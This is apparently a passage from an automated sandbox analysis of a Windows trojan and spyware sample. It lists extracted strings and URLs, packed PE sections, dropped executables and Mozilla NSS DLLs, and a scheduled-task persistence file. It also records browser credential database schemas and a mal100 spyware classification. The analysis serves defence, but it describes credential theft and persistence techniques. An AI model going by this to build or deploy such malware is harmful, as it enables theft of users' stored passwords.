Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.1889599218.000000001D494000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1900699942.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.1732490287.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp, IJDHCBGH.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000002.1869262770.0000000001E24000.00000004.00000020.00020000.00000000.sdmp, HCFIJKKKKKFCAAAAFBKF.0.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: file.exe, 00000000.00000002.1869262770.0000000001E24000.00000004.00000020.00020000.00000000.sdmp, HCFIJKKKKKFCAAAAFBKF.0.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: file.exe, 00000000.00000003.1732490287.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp, IJDHCBGH.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1732490287.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp, IJDHCBGH.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1732490287.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp, IJDHCBGH.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.1869262770.0000000001E24000.00000004.00000020.00020000.00000000.sdmp, HCFIJKKKKKFCAAAAFBKF.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: file.exe, 00000000.00000002.1869262770.0000000001E24000.00000004.00000020.00020000.00000000.sdmp, HCFIJKKKKKFCAAAAFBKF.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.1732490287.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp, IJDHCBGH.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1732490287.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp, IJDHCBGH.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1732490287.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp, IJDHCBGH.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: HCFIJKKKKKFCAAAAFBKF.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: EGIDAFBAEBKKEBFIJEBKJKJJDA.0.dr	String found in binary or memory: https://support.mozilla.org
Source: EGIDAFBAEBKKEBFIJEBKJKJJDA.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: EGIDAFBAEBKKEBFIJEBKJKJJDA.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: file.exe, 00000000.00000002.1868074947.0000000000B48000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1724576135.000000002365D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000000.00000002.1868074947.0000000000B48000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016.exe
Source: file.exe, 00000000.00000002.1868074947.0000000000B48000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1724576135.000000002365D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: file.exe, 00000000.00000002.1868074947.0000000000B48000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe
Source: file.exe, 00000000.00000002.1869262770.0000000001E24000.00000004.00000020.00020000.00000000.sdmp, HCFIJKKKKKFCAAAAFBKF.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.1732490287.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp, IJDHCBGH.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000002.1869262770.0000000001E24000.00000004.00000020.00020000.00000000.sdmp, HCFIJKKKKKFCAAAAFBKF.0.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: file.exe, 00000000.00000003.1732490287.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp, IJDHCBGH.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: EGIDAFBAEBKKEBFIJEBKJKJJDA.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.1868074947.0000000000BA6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: EGIDAFBAEBKKEBFIJEBKJKJJDA.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: file.exe, 00000000.00000002.1868074947.0000000000BA6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000000.00000002.1868074947.0000000000BA6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000000.00000002.1868074947.0000000000BA6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/eBSMjrvqODB4H_bs2nbfsSfL7aN-SiX4Yyn3iFo5fv-Rsj0cGE-FFrP1uXNT7Y1VS
Source: EGIDAFBAEBKKEBFIJEBKJKJJDA.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000002.1868074947.0000000000BA6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/vchost.exe
Source: file.exe, 00000000.00000003.1810789006.00000000299B1000.00000004.00000020.00020000.00000000.sdmp, EGIDAFBAEBKKEBFIJEBKJKJJDA.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: EGIDAFBAEBKKEBFIJEBKJKJJDA.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.1868074947.0000000000C4A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.1810789006.00000000299B1000.00000004.00000020.00020000.00000000.sdmp, EGIDAFBAEBKKEBFIJEBKJKJJDA.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.1868074947.0000000000C4A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe

System Summary

PE file contains section with special chars

Source: KKKJKEBKFC.exe.0.dr	Static PE information: section name:
Source: KKKJKEBKFC.exe.0.dr	Static PE information: section name: .idata
Source: KKKJKEBKFC.exe.0.dr	Static PE information: section name:
Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: amadka[1].exe.0.dr	Static PE information: section name: .idata
Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: explorti.exe.6.dr	Static PE information: section name:
Source: explorti.exe.6.dr	Static PE information: section name: .idata
Source: explorti.exe.6.dr	Static PE information: section name:

PE file has nameless sections

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name:
Source: random[1].exe.10.dr	Static PE information: section name:
Source: random[1].exe.10.dr	Static PE information: section name:
Source: random[1].exe.10.dr	Static PE information: section name:
Source: random[1].exe.10.dr	Static PE information: section name:
Source: random[1].exe.10.dr	Static PE information: section name:
Source: 2e80f9dd27.exe.10.dr	Static PE information: section name:
Source: 2e80f9dd27.exe.10.dr	Static PE information: section name:
Source: 2e80f9dd27.exe.10.dr	Static PE information: section name:
Source: 2e80f9dd27.exe.10.dr	Static PE information: section name:
Source: 2e80f9dd27.exe.10.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61ED10 malloc,NtFlushVirtualMemory,memset,memset,memset,memset,memset,memcpy,free,memset,memset,memcpy,memset,memset,memset,memset,memset,	0_2_6C61ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C65B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65B8C0 rand_s,NtQueryVirtualMemory,	0_2_6C65B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C65B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C5FF280

Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe

File created: C:\Windows\Tasks\explorti.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F35A0	0_2_6C5F35A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C605477	0_2_6C605477
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66545C	0_2_6C66545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66542B	0_2_6C66542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66AC00	0_2_6C66AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C635C10	0_2_6C635C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C636CF0	0_2_6C636CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6064C0	0_2_6C6064C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61D4D0	0_2_6C61D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FD4E0	0_2_6C5FD4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6534A0	0_2_6C6534A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65C4A0	0_2_6C65C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C606C80	0_2_6C606C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60FD00	0_2_6C60FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C620512	0_2_6C620512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61ED10	0_2_6C61ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6585F0	0_2_6C6585F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C630DD0	0_2_6C630DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C666E63	0_2_6C666E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C614640	0_2_6C614640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C642E4E	0_2_6C642E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FC670	0_2_6C5FC670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C619E50	0_2_6C619E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C633E50	0_2_6C633E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C659E30	0_2_6C659E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C645600	0_2_6C645600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C637E10	0_2_6C637E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6676E3	0_2_6C6676E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60FEF0	0_2_6C60FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FBEF0	0_2_6C5FBEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C654EA0	0_2_6C654EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65E680	0_2_6C65E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C615E90	0_2_6C615E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C609F00	0_2_6C609F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C637710	0_2_6C637710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C626FF0	0_2_6C626FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FDFE0	0_2_6C5FDFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6477A0	0_2_6C6477A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63F070	0_2_6C63F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C618850	0_2_6C618850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61D850	0_2_6C61D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63B820	0_2_6C63B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C644820	0_2_6C644820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C607810	0_2_6C607810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61C0E0	0_2_6C61C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6358E0	0_2_6C6358E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6650C7	0_2_6C6650C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6260A0	0_2_6C6260A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60D960	0_2_6C60D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64B970	0_2_6C64B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66B170	0_2_6C66B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61A940	0_2_6C61A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62D9B0	0_2_6C62D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C635190	0_2_6C635190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C652990	0_2_6C652990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FC9A0	0_2_6C5FC9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C639A60	0_2_6C639A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C611AF0	0_2_6C611AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63E2F0	0_2_6C63E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C638AC0	0_2_6C638AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C624AA0	0_2_6C624AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60CAB0	0_2_6C60CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C662AB0	0_2_6C662AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66BA90	0_2_6C66BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F22A0	0_2_6C5F22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60C370	0_2_6C60C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F5340	0_2_6C5F5340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6653C8	0_2_6C6653C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FF380	0_2_6C5FF380
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 10_2_00964CD0	10_2_00964CD0
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 10_2_009A3048	10_2_009A3048
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 10_2_00997D63	10_2_00997D63
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 10_2_00964AD0	10_2_00964AD0
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 10_2_009A6EE9	10_2_009A6EE9
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 10_2_009A763B	10_2_009A763B
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 10_2_009A2BB0	10_2_009A2BB0
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 10_2_009A8700	10_2_009A8700
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 10_2_009A775B	10_2_009A775B
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Code function: 12_2_7EAB0BEF	12_2_7EAB0BEF
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Code function: 12_2_7EAB0000	12_2_7EAB0000

Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View	Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C62CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6394D0 appears 88 times

Source: file.exe, 00000000.00000002.1903930344.000000006C875000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.1869262770.0000000001E3D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs file.exe
Source: file.exe, 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9996189024390244
Source: file.exe	Static PE information: Section: ZLIB complexity 0.9952392578125
Source: file.exe	Static PE information: Section: ZLIB complexity 0.9898681640625
Source: KKKJKEBKFC.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9983083589480874
Source: KKKJKEBKFC.exe.0.dr	Static PE information: Section: puezhyxb ZLIB complexity 0.9947912762368816
Source: amadka[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9983083589480874
Source: amadka[1].exe.0.dr	Static PE information: Section: puezhyxb ZLIB complexity 0.9947912762368816
Source: explorti.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9983083589480874
Source: explorti.exe.6.dr	Static PE information: Section: puezhyxb ZLIB complexity 0.9947912762368816
Source: random[1].exe.10.dr	Static PE information: Section: ZLIB complexity 0.9996189024390244
Source: random[1].exe.10.dr	Static PE information: Section: ZLIB complexity 0.9952392578125
Source: random[1].exe.10.dr	Static PE information: Section: ZLIB complexity 0.9898681640625
Source: 2e80f9dd27.exe.10.dr	Static PE information: Section: ZLIB complexity 0.9996189024390244
Source: 2e80f9dd27.exe.10.dr	Static PE information: Section: ZLIB complexity 0.9952392578125
Source: 2e80f9dd27.exe.10.dr	Static PE information: Section: ZLIB complexity 0.9898681640625

Source: explorti.exe.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: KKKJKEBKFC.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: amadka[1].exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@16/29@0/3

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C657030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C657030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2484:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3488:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.1889599218.000000001D494000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1902923177.000000006C82F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1900609265.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.1889599218.000000001D494000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1902923177.000000006C82F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1900609265.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.1889599218.000000001D494000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1902923177.000000006C82F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1900609265.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.1889599218.000000001D494000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1902923177.000000006C82F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1900609265.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.1889599218.000000001D494000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1902923177.000000006C82F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1900609265.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.1889599218.000000001D494000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1900609265.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.1889599218.000000001D494000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1902923177.000000006C82F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1900609265.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1732084013.0000000023654000.00000004.00000020.00020000.00000000.sdmp, DGDBAKKJKKECGDGCAECA.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.1889599218.000000001D494000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1900609265.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.1889599218.000000001D494000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1900609265.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
